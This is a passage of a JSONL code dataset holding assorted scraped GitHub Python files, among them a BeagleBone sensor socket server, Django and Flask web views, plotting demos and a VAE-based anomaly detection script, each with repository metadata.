filename)\n\n if not finfo:\n return False\n \n finfo['filename'] = user_from + '_' + filename\n finfo['aes_key'] = aes_key\n finfo['username'] = user_to\n finfo['date'] = datetime.utcnow()\n del finfo['_id']\n\n return db.fileinfo.insert(finfo)\n\ndef delete_file(db, username, filename, earliest=None, latest=None):\n versions = get_versions(db, username, filename, earliest, latest)\n gfs = gridfs.GridFS(db)\n ids = []\n\n for finfo in versions:\n gfs.delete(finfo['file_id'])\n ids.append(finfo['_id'])\n\n db.fileinfo.remove({'_id': {'$in': ids}})\n\ndef list_files(db, username, pattern=None):\n ensure_file_index(db)\n\n query = {'username': username}\n \n if pattern:\n query['filename'] = {'$regex': fnmatch.translate(pattern)}\n\n files = db.fileinfo.group(['filename'], query,\n {'date': datetime(1970, 1, 1)},\n '''\n function(obj, prev){\n if(obj.date > prev){\n prev.date = obj.date;\n prev.filename = obj.filename;\n }\n }\n ''')\n\n return [f for f in files]\n","repo_name":"zhemao/speakeasy","sub_path":"wsgi/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"10721486527","text":"# coding:utf-8\nfrom socket import *\nfrom time import sleep\nimport json\nimport random\nimport Adafruit_BBIO.ADC as ADC\nimport time\nimport os\nimport threading\nimport SocketServer\n\n\n# get volt\ndef getVolt():\n ADC.setup()\n analogPin = \"P9_40\"\n potVal = ADC.read(analogPin)\n potVolt = potVal * 1.8\n return potVolt\n\n\n# alarm leds\nclass SimpleLED:\n def __init__(self, led_no):\n self.led_no = led_no\n self.led_path = \"/sys/class/leds/beaglebone:green:usr%d/\" % self.led_no\n os.system(\"echo none > %strigger\" % self.led_path)\n self.state = \"off\"\n\n def On(self):\n if self.state != \"on\":\n os.system(\"echo 1 > %sbrightness\" % self.led_path)\n self.state = \"on\"\n\n def Off(self):\n if self.state != \"off\":\n os.system(\"echo 0 > %sbrightness\" % self.led_path)\n self.state = \"off\"\n\n\ndef alarm(n):\n LEDs = [SimpleLED(i) for i in range(4)]\n delay = 0.1\n for i in range(n):\n for j in range(4):\n LEDs[j].On()\n time.sleep(delay)\n time.sleep(delay)\n for j in range(4):\n LEDs[j].Off()\n time.sleep(delay)\n\n\ndef blink(n):\n LEDs = [SimpleLED(i) for i in range(4)]\n delay = 0.1\n for i in range(n):\n for j in range(4):\n LEDs[j].On()\n time.sleep(delay)\n for j in range(4):\n LEDs[j].Off()\n\n # TCP Server\n\n\nclass ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler):\n def __init__(self, request, client_address, server):\n self.request = request\n self.client_address = client_address\n self.server = server\n self.setup()\n try:\n self.handle()\n finally:\n self.finish()\n\n def handle(self):\n counts = 0\n start_time = time.time()\n while True:\n self.request.setblocking(False) # tcpCliSock设置成非阻塞\n try:\n receive_data = self.request.recv(1024)\n except:\n pass\n else:\n if not receive_data:\n break\n print(\"receive:\" + receive_data)\n blink(5)\n\n interval = time.time() - start_time\n volt = getVolt()\n if (volt > 0.9 or volt < 0.6) and volt > 0:\n counts = counts + 1\n send_data = str(interval) + \",\" + str(counts) + \"e\"\n self.request.send(send_data.encode(\"utf-8\"))\n print(\"send:\" + send_data)\n\n def setup(self):\n ip = self.client_address[0].strip()\n port = self.client_address[1]\n print(ip + \":\" + str(port) + \" is connecting!\")\n\n\nclass ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):\n pass\n\n\n# UDP Server\nclass ThreadedUDPRequestHandler(SocketServer.BaseRequestHandler):\n def __init__(self, request, client_address, server):\n self.request = request\n self.client_address = client_address\n self.server = server\n self.setup()\n try:\n self.handle()\n finally:\n self.finish()\n\n def handle(self):\n data = self.request[0]\n jdata = json.loads(data.decode('utf-8'))\n json_str = json.dumps(jdata[0])\n data2 = json.loads(json_str)\n volt = data2['voltage']\n time = data2['time']\n print(time, volt)\n\n def setup(self):\n ip = self.client_address[0].strip()\n port = self.client_address[1]\n print(ip + \":\" + str(port) + \" is connecting!\")\n\n\nclass ThreadedUDPServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer):\n pass\n\n\nif __name__ == \"__main__\":\n # TCP Server Thread\n # Port 0 means to select an arbitrary unused port\n TCP_HOST, TCP_PORT = \"localhost\", 7000\n SocketServer.TCPServer.allow_reuse_address = True\n # Create the server, binding to localhost on port 7000\n tcp_server = ThreadedTCPServer((TCP_HOST, TCP_PORT), ThreadedTCPRequestHandler)\n # Start a thread with the server -- that thread will then start one\n tcp_server_thread = threading.Thread(target=tcp_server.serve_forever)\n # Exit the server thread when the main thread terminates\n tcp_server_thread.daemon = True\n tcp_server_thread.start()\n print(\"TCP Server loop running in thread:\", tcp_server_thread.name)\n print(\" .... waiting for connection\")\n # Activate the server; this will keep running until you\n # interrupt the program with Ctrl-C\n\n # UDP Server Thread\n UDP_HOST, UDP_PORT = \"\", 20000\n server = ThreadedUDPServer((UDP_HOST, UDP_PORT), ThreadedUDPRequestHandler)\n udp_server_thread = threading.Thread(target=server.serve_forever)\n udp_server_thread.daemon = True\n udp_server_thread.start()\n print(\"UDP Server loop running in thread:\", udp_server_thread.name)\n print(\" .... waiting for connection\")\n\n # Always process requests\n tcp_server.serve_forever()\n udp_server.serve_forever()\n","repo_name":"zhengchengyy/BBDetection","sub_path":"server/test/PyServer.py","file_name":"PyServer.py","file_ext":"py","file_size_in_byte":4951,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"14622597155","text":"# 次坐标轴\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.arange(0, 10, 0.1)\ny1 = 0.05 * x ** 2\ny2 = -y1\n\nfig, ax1 = plt.subplots()\n\nax1.plot(x, y1, 'g')\nax1.set_xlabel('x data')\nax1.set_ylabel('y1 data', color='g')\n\n# 生成一个新的轴,x 轴共享\nax2 = ax1.twinx()\nax2.plot(x, y2, 'r')\nax2.set_ylabel('y2 data', color='r')\n\nplt.show()\n","repo_name":"BruceHi/numpy_pandas_matplotlib","sub_path":"matplotlib_learn/learn_second.py","file_name":"learn_second.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3974490317","text":"#!/usr/bin/env python3\n\n# gw.py\n#\n# Greaseweazle control script.\n#\n# Written & released by Keir Fraser \n#\n# This is free and unencumbered software released into the public domain.\n# See the file COPYING for more details, or visit .\n\nimport sys\nimport importlib\n\nmissing_modules = []\n\ntry:\n import bitarray\nexcept ImportError:\n missing_modules.append(\"bitarray\")\n \ntry:\n import crcmod\nexcept ImportError:\n missing_modules.append(\"crcmod\")\n \ntry:\n import serial.tools.list_ports\nexcept ImportError:\n missing_modules.append(\"pyserial\")\n\nif missing_modules:\n print(\"\"\"\\\n** Missing Python modules: %s\nFor installation instructions please read the wiki:\n\"\"\"\n % ', '.join(missing_modules))\n sys.exit(1)\n\nactions = [ 'info',\n 'read',\n 'write',\n 'erase',\n 'seek',\n 'delays',\n 'update',\n 'pin',\n 'reset',\n 'bandwidth' ]\nargv = sys.argv\n\nbacktrace = False\nif len(argv) > 1 and argv[1] == '--bt':\n backtrace = True\n argv = [argv[0]] + argv[2:]\n\nif len(argv) < 2 or argv[1] not in actions:\n print(\"Usage: %s [action] [-h] ...\" % (argv[0]))\n print(\" -h, --help Show help message for specified action\")\n print(\"Actions:\")\n for a in actions:\n mod = importlib.import_module('greaseweazle.tools.' + a)\n print(' %-12s%s' % (a, mod.__dict__['description']))\n sys.exit(1)\n\nmod = importlib.import_module('greaseweazle.tools.' + argv[1])\nmain = mod.__dict__['main']\ntry:\n res = main(argv)\n if res is None:\n res = 0\nexcept (IndexError, AssertionError, TypeError, KeyError):\n raise\nexcept KeyboardInterrupt:\n if backtrace: raise\n res = 1\nexcept Exception as err:\n if backtrace: raise\n print(\"** FATAL ERROR:\")\n print(err)\n res = 1\nsys.exit(res)\n \n# Local variables:\n# python-indent: 4\n# End:\n","repo_name":"zxrepo/keirf.Greaseweazle","sub_path":"scripts/gw.py","file_name":"gw.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"37707550459","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\nimport turtle\nturtl1 = turtle.Turtle()\nscreen = turtle.Screen()\nturtl1.speed(10)\nturtle.screensize(1000000,1000000)\nfor i in range(1,10000000):\n turtl1.forward(i)\n turtl1.left(i)\nprint(screen.getshapes())\n\n","repo_name":"AthanLapp/Theory-Of-Everything","sub_path":"Turtle_Graphics_Cir le_To_Line_And_Expansion.py","file_name":"Turtle_Graphics_Cir le_To_Line_And_Expansion.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35075388151","text":"from django.shortcuts import render, redirect\r\nfrom django.http import HttpResponseRedirect\r\nfrom django.views.generic.base import View\r\nfrom django.views.generic.edit import FormView\r\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\r\nfrom django.contrib.auth import login, logout\r\nfrom .models import Album, Image\r\nfrom .forms import ImageForm\r\nfrom django.core.paginator import Paginator\r\n\r\n\r\ndef image_upload_view(request, alb_id):\r\n try:\r\n album = Album.objects.get(id=alb_id)\r\n except Album.DoesNotExist:\r\n return redirect('/')\r\n if request.user.is_authenticated and request.user.username == album.author:\r\n if request.method == 'POST':\r\n form = ImageForm(request.POST, request.FILES)\r\n if form.is_valid():\r\n form.save()\r\n return redirect('/album/' + str(alb_id))\r\n else:\r\n form = ImageForm()\r\n return render(request, 'upload.html', {'form': form, 'album': album, 'alb_id': alb_id})\r\n\r\n else:\r\n return redirect('/')\r\n\r\n\r\ndef post(request):\r\n if request.user.is_authenticated:\r\n if request.method == 'POST':\r\n title = request.POST.get('title')\r\n description = request.POST.get('description')\r\n author = request.POST.get('author')\r\n Album.objects.create(\r\n title=title,\r\n description=description,\r\n author=author\r\n )\r\n return redirect('/')\r\n return render(request, 'post.html')\r\n else:\r\n return redirect('/')\r\n\r\n\r\ndef edit_image(request, img_id, alb_id):\r\n try:\r\n album = Album.objects.get(id=alb_id)\r\n image = Image.objects.get(id=img_id)\r\n except Image.DoesNotExist:\r\n return redirect('/')\r\n if request.user.username == album.author:\r\n if request.method == \"POST\":\r\n image.title = request.POST.get('title')\r\n image.save()\r\n return redirect('/album/' + str(alb_id))\r\n else:\r\n return render(request, \"edit_image.html\", {'image': image, 'album': album})\r\n else:\r\n return redirect('/')\r\n return render(request, 'edit_image.html')\r\n\r\n\r\ndef edit_album(request, alb_id):\r\n try:\r\n album = Album.objects.get(id=alb_id)\r\n except Album.DoesNotExist:\r\n return redirect('/')\r\n if request.user.username == album.author:\r\n if request.method == \"POST\":\r\n album.title = request.POST.get('title')\r\n album.description = request.POST.get('description')\r\n album.save()\r\n return redirect('/album/' + str(alb_id))\r\n else:\r\n return render(request, \"edit_album.html\", {\"album\": album})\r\n else:\r\n return redirect('/')\r\n return render(request, 'edit_album.html')\r\n\r\n\r\ndef delete_album(request, alb_id):\r\n try:\r\n album = Album.objects.get(id=alb_id)\r\n if request.user.username == album.author:\r\n album.delete()\r\n return redirect('/')\r\n else:\r\n return redirect('/')\r\n except Album.DoesNotExist:\r\n return redirect('/')\r\n\r\n\r\ndef delete_image(request, img_id, alb_id):\r\n try:\r\n album = Album.objects.get(id=alb_id)\r\n image = Image.objects.get(id=img_id)\r\n except Album.DoesNotExist:\r\n return redirect('/')\r\n if request.user.username == album.author:\r\n image.delete()\r\n return redirect('/album/' + str(alb_id))\r\n else:\r\n return redirect('/')\r\n\r\n\r\ndef album(request, alb_id):\r\n try:\r\n album = Album.objects.get(id=alb_id)\r\n except Album.DoesNotExist:\r\n return redirect('/')\r\n\r\n images = Image.objects.filter(album_id=alb_id)\r\n paginator = Paginator(images, 5)\r\n page_number = request.GET.get('page', 1)\r\n page = paginator.get_page(page_number)\r\n is_paginated = page.has_other_pages()\r\n\r\n if page.has_previous():\r\n prev_url = '?page={}'.format(page.previous_page_number())\r\n else:\r\n prev_url = ''\r\n\r\n if page.has_next():\r\n next_url = '?page={}'.format(page.next_page_number())\r\n else:\r\n next_url = ''\r\n\r\n return render(request, 'album.html', context={\r\n 'album': album,\r\n 'images': page,\r\n 'alb_id': alb_id,\r\n 'is_paginated': is_paginated,\r\n 'next_url': next_url,\r\n 'prev_url': prev_url\r\n })\r\n\r\n\r\ndef home(request):\r\n albums = Album.objects.all()\r\n return render(request, 'index.html', {\r\n 'albums': albums\r\n })\r\n\r\n\r\nclass RegisterFormView(FormView):\r\n form_class = UserCreationForm\r\n success_url = \"/login/\"\r\n template_name = \"register.html\"\r\n\r\n def form_valid(self, form):\r\n form.save()\r\n return super(RegisterFormView, self).form_valid(form)\r\n\r\n\r\nclass LoginFormView(FormView):\r\n form_class = AuthenticationForm\r\n template_name = \"login.html\"\r\n success_url = \"/\"\r\n\r\n def form_valid(self, form):\r\n self.user = form.get_user()\r\n login(self.request, self.user)\r\n return super(LoginFormView, self).form_valid(form)\r\n\r\n\r\nclass LogoutView(View):\r\n def get(self, request):\r\n logout(request)\r\n return HttpResponseRedirect(\"/\")\r\n","repo_name":"Draglexer/photosite","sub_path":"files/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32884296920","text":"# -*- coding: utf-8 -*-\n\"\"\"\n#Program to filter out only the even items from a list\n\"\"\"\n\n\n\nnums = [1,5,4,6,8,11,3,12]\nnums_filtered = list(filter(lambda x:(x%2 == 0), nums))\nprint(nums_filtered)\n\n","repo_name":"pepitogrilho/learning_python","sub_path":"cConsolidation/c_Functions/l_Lambda_Anonymous/300_functions_002_filter.py","file_name":"300_functions_002_filter.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40651774137","text":"import numpy as np \nimport os \nidentify = 'model_ResNet18'\nroot = 'speed'\nfor path in os.listdir(root): \n if 'placement_1-1' not in path: continue \n # if 'frozen_0' not in path: continue \n if 'bs_32' not in path: continue \n filename = os.path.join(root, path)\n info = np.load(filename, allow_pickle=True).tolist() \n for key, value in info.items(): \n if 'metric_' in key: \n profile = value[0].profile \n for k, v in profile.items(): \n print(filename)\n print('step time {}'.format(v['optim_step_time'] / v['optim_count']))","repo_name":"gaow0007/TraceCollectionLibrary","sub_path":"pytorch-cifar/load_speed.py","file_name":"load_speed.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2645858973","text":"from flask import Blueprint, jsonify, request\nfrom api.database.goal import Goal, goal_schema, goals_schema\nfrom flask_jwt_extended import decode_token\nfrom api.routes.auth import permission_needed\n\n\nbp = Blueprint('goal', __name__, url_prefix='/api')\n\n\n@bp.route('/goal', methods=['GET'])\n@permission_needed\ndef get_goal():\n \"\"\"\n example: GET: host/api/goal?id=1\n \"\"\"\n\n id = request.args.get('id', default=None, type=int)\n access_token = request.headers.get('Authorization')\n\n decoded_token = decode_token(access_token)\n author_id = decoded_token['sub']\n if id:\n\n goal = Goal.query.get(id)\n if not goal:\n return jsonify(message='Goal could not be found'), 400\n\n\n return goal_schema.jsonify(goal), 200\n\n\n all_goals = Goal.get_all(user_id=author_id)\n result = goals_schema.dump(all_goals)\n return jsonify(result.data), 200\n\n\n\n\n@bp.route('/goal', methods=['POST'])\n@permission_needed\ndef add_goal():\n \"\"\"\n example: POST: host/api/goal\n \"\"\"\n\n access_token = request.headers.get('Authorization')\n\n if not request.is_json:\n return jsonify(message='Request did not contain valid JSON'), 400\n\n goal, errors = goal_schema.load(request.get_json())\n\n if errors:\n return jsonify(errors), 400\n\n decoded_token = decode_token(access_token)\n author_id = decoded_token['sub']\n\n if author_id != goal.author_id:\n return jsonify(message='No authorization'), 401\n\n goal.save()\n\n return goal_schema.jsonify(goal), 200\n\n\n@bp.route('/goal', methods=['PUT'])\ndef goal_update():\n \"\"\"\n example: PUT: host/api/goal?id=1\n \"\"\"\n\n id = request.args.get('id', default=None, type=int)\n access_token = request.headers.get('Authorization')\n goal = Goal.query.get(id)\n\n\n if not goal:\n return jsonify(message='Goal was not found'), 400\n\n data = request.get_json()\n data.pop('id', None)\n\n errors = goal_schema.validate(data, partial=True)\n\n if errors:\n return jsonify(errors), 400\n\n decoded_token = decode_token(access_token)\n author_id = decoded_token['sub']\n\n if author_id != goal.author_id:\n return jsonify(message='No authorization'), 401\n\n goal.update(**data)\n\n return goal_schema.jsonify(goal), 200\n\n\n@bp.route('/goal', methods=['DELETE'])\ndef goal_delete():\n \"\"\"\n example: DELETE: host/api/goal?id=1\n \"\"\"\n\n id = request.args.get('id', default=None, type=int)\n access_token = request.headers.get('Authorization')\n\n goal = Goal.query.get(id)\n\n if not goal:\n return jsonify(message='Goal was not found'), 400\n\n decoded_token = decode_token(access_token)\n print(\" decoded_token .. delete\" , (decoded_token))\n author_id = decoded_token['sub']\n\n if author_id != goal.author_id:\n return jsonify(message='No authorization'), 401\n\n goal.delete()\n\n return jsonify(message='Goal has been successfully removed'), 200\n","repo_name":"MarieHof/Academic","sub_path":"server/api/routes/goal_route.py","file_name":"goal_route.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"129272507","text":"from django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom .models import Message\nfrom django.http import JsonResponse\nfrom .forms import MessageForm\n\n\ndef index(request):\n messages = Message.objects.all()\n form = MessageForm()\n context = {\n 'messages':messages,\n 'form': form\n }\n\n return render(request, 'basic_form.html', context)\n\ndef modal(request):\n form = MessageForm()\n context = {\n 'form': form\n }\n\n return render(request, 'form.html', context)\n\ndef save(request):\n print(\"----------saving-----------\")\n form = MessageForm()\n\n if request.is_ajax():\n print(\"----------request.is_ajax-----------\")\n form = MessageForm(request.POST, None)\n\n if form.is_valid():\n print(\"----------form valid-----------\")\n form.save()\n\n return JsonResponse({\n 'msg': 'Success'\n })\n else:\n return JsonResponse({\n 'msg': form.errors\n })\n form = MessageForm(request.POST)\n\n return render(request, 'basic_form.html')\n","repo_name":"EverydayLearner254/django-ajax-simple-form-submission","sub_path":"simple_form/form/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4561297684","text":"# -*- coding: utf-8 -*-\n\"Algorithms for renumbering of counted objects, currently variables and indices.\"\n\n# Copyright (C) 2008-2016 Martin Sandve Alnæs and Anders Logg\n#\n# This file is part of UFL.\n#\n# UFL is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# UFL is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with UFL. If not, see .\n\nfrom ufl.log import error\nfrom ufl.core.expr import Expr\nfrom ufl.core.multiindex import Index, FixedIndex, MultiIndex\nfrom ufl.variable import Label, Variable\nfrom ufl.algorithms.transformer import ReuseTransformer, apply_transformer\nfrom ufl.classes import Zero\n\n\nclass VariableRenumberingTransformer(ReuseTransformer):\n def __init__(self):\n ReuseTransformer.__init__(self)\n self.variable_map = {}\n\n def variable(self, o):\n e, l = o.ufl_operands # noqa: E741\n v = self.variable_map.get(l)\n if v is None:\n e = self.visit(e)\n l2 = Label(len(self.variable_map))\n v = Variable(e, l2)\n self.variable_map[l] = v\n return v\n\n\nclass IndexRenumberingTransformer(VariableRenumberingTransformer):\n \"This is a poorly designed algorithm. It is used in some tests, please do not use for anything else.\"\n\n def __init__(self):\n VariableRenumberingTransformer.__init__(self)\n self.index_map = {}\n\n def zero(self, o):\n fi = o.ufl_free_indices\n fid = o.ufl_index_dimensions\n mapped_fi = tuple(self.index(Index(count=i)) for i in fi)\n paired_fid = [(mapped_fi[pos], fid[pos]) for pos, a in enumerate(fi)]\n new_fi, new_fid = zip(*tuple(sorted(paired_fid)))\n return Zero(o.ufl_shape, new_fi, new_fid)\n\n def index(self, o):\n if isinstance(o, FixedIndex):\n return o\n else:\n c = o._count\n i = self.index_map.get(c)\n if i is None:\n i = Index(count=len(self.index_map))\n self.index_map[c] = i\n return i\n\n def multi_index(self, o):\n new_indices = tuple(self.index(i) for i in o.indices())\n return MultiIndex(new_indices)\n\n\ndef renumber_indices(expr):\n if isinstance(expr, Expr):\n num_free_indices = len(expr.ufl_free_indices)\n\n result = apply_transformer(expr, IndexRenumberingTransformer())\n\n if isinstance(expr, Expr):\n if num_free_indices != len(result.ufl_free_indices):\n error(\"The number of free indices left in expression should be invariant w.r.t. renumbering.\")\n return result\n","repo_name":"JosteinGj/School","sub_path":"Digisig/digsigvenv/lib/python3.6/site-packages/ufl/algorithms/renumbering.py","file_name":"renumbering.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32279313382","text":"import torch\n\nfrom vae import VAE\n#from pl_bolts.models.autoencoders import VAE\nfrom utils import load_train_data, save_validation_losses_density_KNN, save_confusion_matrix_KNN, save_originals, save_reconstructions, save_loss\nfrom utils import get_indexes, save_roc_curve_KNN, save_tsne\nfrom data import transform_data\n\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.manifold import TSNE\n\nfrom tqdm import tqdm\n\nimport os\nimport sys\nimport argparse\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay\n\nfrom sklearn.neighbors import NearestNeighbors\nfrom utils import load_train_data\n\n\nMVTEC_DATASET = ['bottle','cable','capsule','carpet','grid','hazelnut','leather','metal_nut','pill','screw','tile','toothbrush','transistor','wood','zipper']\nlatent_spaces = [128,256,512]\nk_list = [1,3,5,10]\n\ndef parse_args():\n parser = argparse.ArgumentParser('VAE')\n parser.add_argument(\"-d\",\"--data\", type=str, default='all')\n parser.add_argument(\"--save_path\", type=str, default=\"./results/validation/without_recons_weight/KNN/\")\n parser.add_argument(\"-ls\",\"--latent_space\", type=int, default=256)\n parser.add_argument(\"-k\",\"--k_num\", type=int, default=5)\n return parser.parse_args()\n\n############################\n# Main Test Function \n# Launches Tests for differentes values of K (nearest neighbors numbers) and latent space dimension\n# Saves results in an excel file\n##############################\ndef test():\n args = parse_args()\n\n k = args.k_num\n latent_spaces = [args.latent_space]\n save_path = args.save_path\n data_path = './dataset/'\n mvtec_classes = [args.data]\n if args.data == 'all':\n mvtec_classes = MVTEC_DATASET\n\n total_roc_auc = np.zeros((len(mvtec_classes), len(latent_spaces)*len(k_list)))\n total_f1_score = np.zeros((len(mvtec_classes), len(latent_spaces)*len(k_list)))\n for i, classe in enumerate(mvtec_classes):\n for j, latent_space in enumerate(latent_spaces):\n model = VAE(latent_dim=latent_space).to('cuda')\n model.load_state_dict(torch.load(f'results/Training/without_recons_weight/models/{classe}/latent_dim_{latent_space}.pt'))\n model.eval()\n\n transform_train, transform_test = transform_data(classe,False), transform_data(classe, False)\n transform = {'train' : transform_train, 'test' : transform_test}\n trainloader, testloader = load_train_data(transform, classe,data_path, 32, 32)\n\n classe_path = save_path + 'classes/' + classe\n for indx, k in enumerate(k_list):\n roc_auc, f1_score = KNN(trainloader, testloader,model,k, classe_path, classe, latent_space)\n total_roc_auc[i][j*len(k_list)+indx] = roc_auc\n total_f1_score[i][j*len(k_list)+indx] = f1_score\n \n indexes = get_indexes(k_list, latent_spaces)\n\n metrics_path = os.path.join(save_path,'metrics',args.data)\n if not os.path.exists(metrics_path):\n os.makedirs(metrics_path)\n df = pd.DataFrame(total_roc_auc.transpose(), columns=mvtec_classes)\n df = df.set_index(pd.Series([f'({latent},{k})' for latent,k in indexes]))\n df.to_excel(metrics_path + f'/roc_auc_{latent_space}.xlsx')\n df = pd.DataFrame(total_f1_score.transpose(), columns=mvtec_classes)\n df = df.set_index(pd.Series([f'({latent},{k})' for k,latent in indexes]))\n df.to_excel(metrics_path + f'/f1_score_{latent_space}.xlsx')\n\ndef KNN(trainloader, testloader,model,k, classe_path, classe,latent_space):\n features = []\n for images, labels in tqdm(trainloader, f'{classe} features | K = {k} | '):\n encoded = model.encoder(images.to('cuda'))\n mu = model.fc_mu(encoded)\n log_var = model.fc_var(encoded)\n std = torch.exp(log_var / 2)\n features_batch = np.array([torch.distributions.Normal(mu,std).rsample().detach().cpu().numpy() for i in range(10)]).mean(axis=0)\n\n features.append(features_batch)\n\n\n features = np.concatenate(features, axis=0)\n\n Nk = NearestNeighbors(n_neighbors=k)\n Nk.fit(features)\n\n classes = ['normal','deformed']\n anomaly_scores = []\n test_labels = []\n val_labels_binary = []\n test_features = []\n for images, labels in tqdm(testloader, 'Anomaly scores | test data | '):\n encoded = model.encoder(images.to('cuda'))\n mu = model.fc_mu(encoded)\n log_var = model.fc_var(encoded)\n std = torch.exp(log_var / 2)\n test_feature = np.array([torch.distributions.Normal(mu,std).rsample().detach().cpu().numpy() for i in range(10)]).mean(axis=0)\n test_features.append(test_feature)\n anomaly_scores.append(Nk.kneighbors(test_feature)[0].mean(axis=1))\n val_labels_binary.append(labels.detach().cpu().numpy())\n \n\n test_features = np.concatenate(test_features)\n anomaly_scores = np.concatenate(anomaly_scores)\n val_labels_binary = np.concatenate(val_labels_binary)\n val_labels = [classes[label] for label in val_labels_binary]\n\n\n roc_auc = roc_auc_score(val_labels_binary, anomaly_scores)\n precision, recall, thresholds = precision_recall_curve(val_labels_binary, anomaly_scores)\n F1_scores = np.divide(\n 2 * precision * recall,\n precision + recall,\n out=np.zeros_like(precision),\n where=(precision + recall) != 0,\n )\n optimal_threshold = thresholds[np.argmax(F1_scores)]\n f1_score = F1_scores[np.argmax(F1_scores)]\n predictions = (anomaly_scores >= optimal_threshold).astype(int)\n predictions = ['deformed' if _ == 1 else 'normal' for _ in predictions]\n \n save_confusion_matrix_KNN(val_labels, predictions, classe_path, latent_space, k)\n save_validation_losses_density_KNN(anomaly_scores, val_labels,classe_path, latent_space, k)\n # saving roc curve\n save_roc_curve_KNN(val_labels_binary, anomaly_scores, latent_space, classe_path, k)\n\n if k == 1: #temporary solution\n save_tsne(test_features, val_labels, classe_path)\n\n\n\n\n\n\n return roc_auc, f1_score\n\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"Abde951/Anomaly_detection","sub_path":"Variational-AE/KNN.py","file_name":"KNN.py","file_ext":"py","file_size_in_byte":6295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"71094901043","text":"\"\"\" Faça um programa, com uma função, que calcula a mediana de uma lista.\nFunções embutidas que podem te ajudar:\n- sorted(lista) -> ordena a lista\n\"\"\"\n# A Mediana (Md) é o valor de centro de um conjunto de dados.\n# Para calcular a mediana:\n# - Devemos ordenar o conjunto de dados em ordem crescente;\n# - Se o número de elementos for par, então a mediana é a média dos dois valores centrais.\n# Soma os dois valores centrais e divide o resultado por 2: (a + b)/2.\n# - Se o número de elementos for ímpar, então a mediana é o valor central.\n\nfrom math import ceil\n\ndef calcular_mediana(*args):\n \"\"\" Calcula a mediana de uma lista \"\"\"\n lista = sorted(list(args))\n tamanho_lista = len(lista)\n impar_par = tamanho_lista % 2\n val_central = ceil(tamanho_lista / 2) - 1\n if impar_par == 0:\n mediana = (lista[val_central] + lista[val_central + 1]) / 2\n return f'Md = {mediana:.2f}'\n if impar_par == 1:\n mediana = lista[val_central]\n return f'Md = {mediana:.2f}'\n\nprint(calcular_mediana(6, 4, 7, 2))\nprint(calcular_mediana(6, 7, 2, 1, 8, 4, 9, 11, 10))\n","repo_name":"faleite/intropy","sub_path":"exercicios/exercicio_17.py","file_name":"exercicio_17.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34635263800","text":"import torch\nimport numpy as np\nimport torch_geometric.datasets\nfrom pcq_wrapper import MyPygPCQM4MDataset\nfrom ogb.lsc.pcqm4m_pyg import PygPCQM4MDataset\nimport pyximport\npyximport.install(setup_args={'include_dirs': np.get_include()})\nimport algos\nimport pickle\nimport joblib\n\ndef convert_to_single_emb(x, offset=128):\n feature_num = x.size(1) if len(x.size()) > 1 else 1\n feature_offset = 1 + torch.arange(0, feature_num * offset, offset, dtype=torch.long)\n x = x + feature_offset\n return x\n\ndef preprocess_item(item, noise=False):\n edge_attr, edge_index, x = item.edge_attr, item.edge_index, item.x\n N = x.size(0)\n x = convert_to_single_emb(x)\n\n # node adj matrix [N, N] bool\n adj = torch.zeros([N, N], dtype=torch.bool)\n adj[edge_index[0, :], edge_index[1, :]] = True\n\n # edge feature here\n if len(edge_attr.size()) == 1:\n edge_attr = edge_attr[:, None]\n \n all_rel_pos_3d_with_noise = torch.from_numpy(algos.bin_rel_pos_3d_1(item.all_rel_pos_3d, noise=noise)).long()\n rel_pos_3d_attr = all_rel_pos_3d_with_noise[edge_index[0, :], 